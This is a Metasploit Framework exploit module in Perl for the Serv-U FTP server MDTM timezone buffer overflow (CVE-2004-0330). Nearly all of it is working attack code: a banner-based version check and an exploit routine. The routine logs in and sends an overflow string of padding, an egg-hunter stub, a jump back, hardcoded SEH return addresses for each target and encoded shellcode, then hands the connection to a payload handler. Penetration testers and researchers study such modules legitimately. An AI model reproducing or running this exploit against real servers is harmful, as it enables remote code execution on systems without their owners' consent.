
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::servu_mdtm_overflow;

use base "Msf::Exploit";
use strict;
use Pex::Searcher;
use Pex::x86;
use Pex::Text;

my $advanced =
  {
	'SEHOffset'       => ['47', 'Offset from beginning of timezone to SEH'],
	'ForceDoubling'   => ['2', '1 to force \xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect'],
  };

my $info =
  {
	'Name'    => 'Serv-U FTPD MDTM Overflow',
	'Version' => '$Revision: 1.38 $',
	'Authors' =>
	  [
		'spoonm <ninjatools [at] hush.com>',
		'Basic vector from: Servu2.c lion <lion [at] cnhonker.net>',
	  ],

	'Description'  => Pex::Text::Freeform(qq{
    This is an exploit for the Serv-U's MDTM command timezone overflow.
    It has been heavily tested against versions
    4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with
    success against nt4/2k/xp/2k3. I have also had success against version
    3, but only tested 1 version/os. The bug is in all versions
    prior to 5.0.0.4, but this exploit will not work against versions not
    listed above. You only get one shot, but it should be OS/SP independent.

    This exploit is a single hit, the service dies after the shellcode
    finishes execution.
}),

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
	'Priv'  => 0,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 21],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
		'USER'  => [1, 'DATA', 'Username', 'ftp'],
		'PASS'  => [1, 'DATA', 'Password', 'ftp'],
	  },

	'Payload' =>
	  {
		'Space'  => 1000,
		'BadChars'  => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
		'MinNops' => 0,
		'MaxNops' => 0,
	  },

	'Nop' =>
	  {
		'ModStack' => 0, # We don't use nops, but if we did...
	  },

	'Refs'  =>
	  [
		['OSVDB', '4073'],
		['URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
		['URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
		['URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
		['MIL', '59'],
		['BID', '9751'],
		['CVE', '2004-0330'],
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['Serv-U Uber-Leet Universal ServUDaemon.exe', 0x00401877],
		['Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe', 0x0040164d],
		['Serv-U 5.0.0.0 ServUDaemon.exe', 0x0040167e],
	  ],

	'Keys' => ['servu'],

	'DisclosureDate' => 'Feb 26 2004',
  };

# From 5.0.0.4 Change Log
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
#
# Nice way to play it down boys
#
# Connected to ftp2.rhinosoft.com.
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
#
# Heh :)

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self = shift;
	my $targetHost  = $self->GetVar('RHOST');
	my $targetPort  = $self->GetVar('RPORT');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $targetHost,
		'PeerPort'  => $targetPort,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintError;
		return $self->CheckCode('Connect');
	}

	my $r;

	$r = $self->response($s);
	goto NORESP if(!$r);
	if($r =~ /Serv-U FTP Server v4\.1/) {
		$self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
		return $self->CheckCode('Appears');
	}
	elsif($r =~ /Serv-U FTP Server v5\.0/) {
		$self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
		return $self->CheckCode('Appears');
	}
	elsif($r =~ /Serv-U FTP Server v4\.0/) {
		$self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
	}
	elsif($r =~ /Serv-U FTP Server/) {
		$self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
		return $self->CheckCode('Appears');
	}
	else {
		$self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
		return $self->CheckCode('Safe');
	}

	$s->Send("USER " . $self->GetVar('USER') . "\r\n");
	goto NORESP if(!$self->response($s));

	$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
	goto NORESP if(!$self->response($s));

	$s->Send("P\@SW\r\n");
	$r = $self->response($s);
	goto NORESP if(!$r);

	if($r =~ /500/) {
		$self->PrintLine('[*] Found version 4.0.0.4, exploitable');
		return $self->CheckCode('Appears');
	}
	else {
		$self->PrintLine('[*] Found version 4.1.0.0, exploitable');
		return $self->CheckCode('Appears');
	}

	# quit is for losers, exiting uncleanly rocks.
	return $self->CheckCode('Safe');

	# dirty
	NORESP:
	$self->PrintLine('[*] No response from FTP server');
	return $self->CheckCode('Generic');
}

sub Exploit {
	my $self = shift;
	my $targetHost  = $self->GetVar('RHOST');
	my $targetPort  = $self->GetVar('RPORT');
	my $targetIndex = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $sehOffset   = $self->GetLocal('SEHOffset');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $targetHost,
		'PeerPort'  => $targetPort,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('Error creating socket: '.$s->GetError);
		return;
	}

	my $r;

	$r = $self->response($s);
	goto NORESP if(!$r);

	#  $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
	#  $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);

	$s->Send("USER " . $self->GetVar('USER') . "\r\n");
	goto NORESP if(!$self->response($s));

	$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
	goto NORESP if(!$self->response($s));

	# Autodetect no more

	#  if(!$targetIndex) {
	#    $s->Send("P\@SW\r\n");
	#    $r = $self->response($s);
	#    goto NORESP if(!$r);
	#
	#    $targetIndex = $r =~ /500/ ? 1 : 1;
	#  }

	# Should have paid more attention to skylined's exploit, only after figuring
	# out how my payloads were getting transformed did I remember seeing \xff
	# doubling in his CHMOD exploit, arg!
	if($self->GetLocal('ForceDoubling') == 1) {
		$self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
		$shellcode = xffDoubler($shellcode);
	}
	elsif($self->GetLocal('ForceDoubling') == 0) {
		$self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
	}
	else {
		$s->Send("P\@SW\r\n");
		$r = $self->response($s);
		goto NORESP if(!$r);
		if($r =~ /^500/) {
			$self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
			$shellcode = xffDoubler($shellcode);
		}
	}

	my $target = $self->Targets->[$targetIndex];
	$self->PrintLine('[*] Trying to exploit target ' . $target->[0]);

	my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");

	# Searcher expects address to start scanning at in edi
	# Since we got here via a pop pop ret, we can just the address of the jmp
	# off the stack, add esp, BYTE -4 ; pop edi
	my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';

	if($sehOffset < length($searchCode)) {
		$self->PrintLine('[*] Not enough room for search code.');
		return;
	}

	my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';

	#  $jmpBack = "\xcc\xcc\xcc\xcc";

	my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
	$command .= $searchCode;
	$command .= $jmpBack . pack('V', $target->[1]);
	$command .= ' /' . $searcher->StartTag . $shellcode .  $searcher->EndTag . "\r\n";

	$s->Send($command);

	$r = $self->response($s, 2);
	if($r) {
		$self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
	}

	$self->Handler($s);
	return;

	# dirty
	NORESP:
	$self->PrintLine('[*] No response from FTP server');
	return;
}

sub response {
	my $self = shift;
	my $sock = shift;
	my $r;
	if(@_) {
		my $timeout = shift;
		$r = $sock->Recv(-1, $timeout);
	}
	else {
		$r = $sock->Recv(-1);
	}
	chomp($r);
	$r =~ s/\r//g;
	$self->PrintLine("[*] REMOTE> $r") if($r);
	return($r);
}

# Serv-U is dumb. Doubling for 4.0.0.4
sub xffDoubler {
	my $payload = shift;
	$payload =~ s/\xff/\xff\xff/g;
	return($payload);
}

